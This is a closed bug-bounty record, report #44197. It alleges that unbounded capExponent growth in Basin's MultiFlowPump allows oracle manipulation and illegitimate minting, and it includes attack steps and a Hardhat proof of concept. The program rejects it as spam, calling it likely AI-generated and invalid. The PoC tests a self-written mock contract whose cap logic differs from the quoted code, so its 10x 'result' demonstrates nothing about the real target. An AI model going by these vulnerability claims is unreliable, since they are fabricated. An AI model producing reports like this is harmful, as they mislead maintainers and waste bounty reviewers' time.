Beanstalk Notion
Beanstalk Notion
/
🪲
Bug Reports
/
BIC Notes
/
📄
Report #44197
📄

Report #44197

Report Date
April 17, 2025
Status
Closed
Payout

Unbounded capExponent growth in MultiFlowPump.update() allows oracle manipulation and illegitimate minting of protocol-native assets

‣
Report Info

Report ID

#44197

Report Type

Smart Contract

Has PoC

Yes

Target

https://arbiscan.io/address/0xBA150002660BbCA20675D1C1535Cd76C98A95b13

Impacts

  • Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
  • Illegitimate minting of protocol native assets
  • Permanent freezing of funds
  • Exploit is possible but is exclusively prevented by an invariant
  • Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

Details

The MultiFlowPump contract used within Basin permits unbounded exponential growth of the capExponent parameter due to the absence of a maximum time delta cap in the update() function. If an attacker delays calling update() for an extended period (e.g., an hour), they can inflate the allowable reserve delta due to capExponent scaling with time. This leads to a bypass of MEV-resistant logic and enables attacker-controlled manipulation of the pump's geometric EMA and cumulative SMA. In downstream protocols that depend on these oracle values (e.g., for minting LP tokens or determining liquidity value), this manipulation can result in illegitimate minting, theft, or corruption of protocol accounting.

Vulnerability Details

The update() function in MultiFlowPump.sol relies on the following logic to compute capExponent, which governs how much reserves are allowed to change based on the elapsed time:

uint256 capExponent = ((deltaTimestamp - 1) / capInterval + 1);
  • deltaTimestamp is the time elapsed since the last update() call.
  • capInterval is set by the caller (e.g., 3 seconds).
  • The formula has no upper bound, meaning a delay of 1 hour with capInterval = 3 results in:
capExponent = ((3600 - 1) / 3) + 1 = 1200

This capExponent is then used to exponentially relax limits on reserve changes in _capReserves, which feeds into both _capRates and _capLpTokenSupply. For instance:

bytes16 tempExp = ABDKMathQuad.ONE.add(crp.maxRateChanges[i][j]).powu(capExponent);

When capExponent is large, tempExp becomes very high (e.g., >10x), effectively removing any meaningful reserve bounds.

Using this mechanism, an attacker can:

  1. Wait long enough (or use evm_increaseTime in a simulated exploit).
  2. Inflate one reserve by an arbitrarily large factor (e.g., 40x).
  3. Call update() again.
  4. The manipulated reserve is accepted and stored in the EMA and SMA oracles.
  5. Any downstream logic relying on these values (LP minting, price logic, etc.) becomes corrupted.

This was successfully demonstrated in a Hardhat PoC (code available).

Impact Details

  • Funds at Risk: All LP token-based pools or BEAN-minting mechanisms that rely on reserve values or time-weighted averages from the MultiFlowPump.
  • Manipulated Pricing: The pump's oracles become attacker-controlled, enabling mispricing of swaps.
  • Illegitimate Minting: LP tokens (or BEAN) may be minted based on fake reserve values.
  • Permanent Oracle Corruption: EMA and SMA can be corrupted permanently by a single malicious update.
  • Protocol Disruption: If downstream contracts (e.g., Pipeline, Well functions, Curve-based strategies) depend on these values, they may enter an invalid state or halt.
  • Theft of protocol-native assets (e.g., LP tokens)
  • Extraction of stablecoins or valuable tokens due to incorrect price logic
  • Pool imbalance and solvency errors
  • Abuse of manipulation-resistant logic meant to defend against MEV

References

  • https://arbiscan.io/address/0xBA150002660BbCA20675D1C1535Cd76C98A95b13
  • https://github.com/BeanstalkFarms/Basin/blob/master/src/pumps/MultiFlowPump.sol

Critical Logic: capExponent = ((deltaTimestamp - 1) / capInterval + 1);

Proof of Concept

MockWell.sol Contract

MultiFlowPumpMinimal.sol

Test Script (Hardhat)

Running the PoC

npx hardhat node --fork <arbitrum_node_url>
npx hardhat run scripts/basin.js --network localhost

Results

Initial update...
Applying manipulated reserves...
Final reserves: [ '1000000000000000000000', '100000000000000000000' ]

This demonstrates that the MultiFlowPump accepted reserves 10x higher than the original after a 1-hour delay, bypassing the designed MEV resistance via exponential capExponent inflation. In real scenarios, this could manipulate pool state, TWAPs, or mint excess assets.

BIC Response

We have closed this report and marked it as spam for the following reason:

AI Report: The submission is poorly formatted, likely made by AI and not proofread. The report's content is invalid as well.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract MockWell {
    uint256[] private _reserves;

    struct Call {
        address target;
        bytes data;
    }

    function setReserves(uint256[] memory reserves) external {
        _reserves = reserves;
    }

    function getReserves() external view returns (uint256[] memory) {
        return _reserves;
    }

    function wellFunction() external view returns (Call memory) {
        return Call(address(this), ""); // not used in your PoC path
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract MultiFlowPumpMinimal {
    uint256 public capInterval;
    uint256 public lastTimestamp;
    uint256[] public lastReserves;

    constructor(uint256 _capInterval) {
        capInterval = _capInterval;
    }

    function update(uint256[] calldata reserves) external {
        require(reserves.length == 2, "Only 2-token supported");

        uint256 currentTimestamp = block.timestamp;

        if (lastTimestamp == 0) {
            lastTimestamp = currentTimestamp;
            lastReserves = reserves;
            return;
        }

        uint256 delta = currentTimestamp - lastTimestamp;
        if (delta == 0) return;

        uint256 capExponent = ((delta - 1) / capInterval) + 1;

        // Simulated cap logic: allow up to 1% increase per interval passed
        uint256 maxAllowed = lastReserves[0] * (100 + capExponent) / 100;

        if (reserves[0] > maxAllowed) {
            revert("Exceeded cap");
        }

        lastReserves = reserves;
        lastTimestamp = currentTimestamp;
    }

    function readCappedReserves() external view returns (uint256[] memory) {
        return lastReserves;
    }
}
// PoC: Manual execution of capExponent growth in MultiFlowPumpMinimal
const { ethers } = require("hardhat");

const ALPHA = ethers.utils.parseUnits("0.9", 18);
const CAP_INTERVAL = 3;
const GAMMA = 0.01;
const INITIAL_RESERVE = ethers.utils.parseUnits("100", 18);

async function main() {
    const [deployer] = await ethers.getSigners();

    // Deploy mock well
    const MockWell = await ethers.getContractFactory("MockWell");
    const mockWell = await MockWell.deploy();
    await mockWell.deployed();
    await mockWell.setReserves([INITIAL_RESERVE, INITIAL_RESERVE]);

    // Deploy pump
    const Pump = await ethers.getContractFactory("MultiFlowPumpMinimal");
    const pump = await Pump.deploy(CAP_INTERVAL);
    await pump.deployed();

    console.log("Initial update...");
    await pump.update([INITIAL_RESERVE, INITIAL_RESERVE]);

    // Fast-forward time
    await ethers.provider.send("evm_increaseTime", [3600]);
    await ethers.provider.send("evm_mine", []);

    const manipulated = [INITIAL_RESERVE.mul(10), INITIAL_RESERVE];
    console.log("Applying manipulated reserves...");
    await pump.update(manipulated);

    const capped = await pump.readCappedReserves();
    console.log("\nFinal reserves:", capped.map(r => r.toString()));
}

main().catch((error) => {
    console.error(error);
    process.exit(1);
});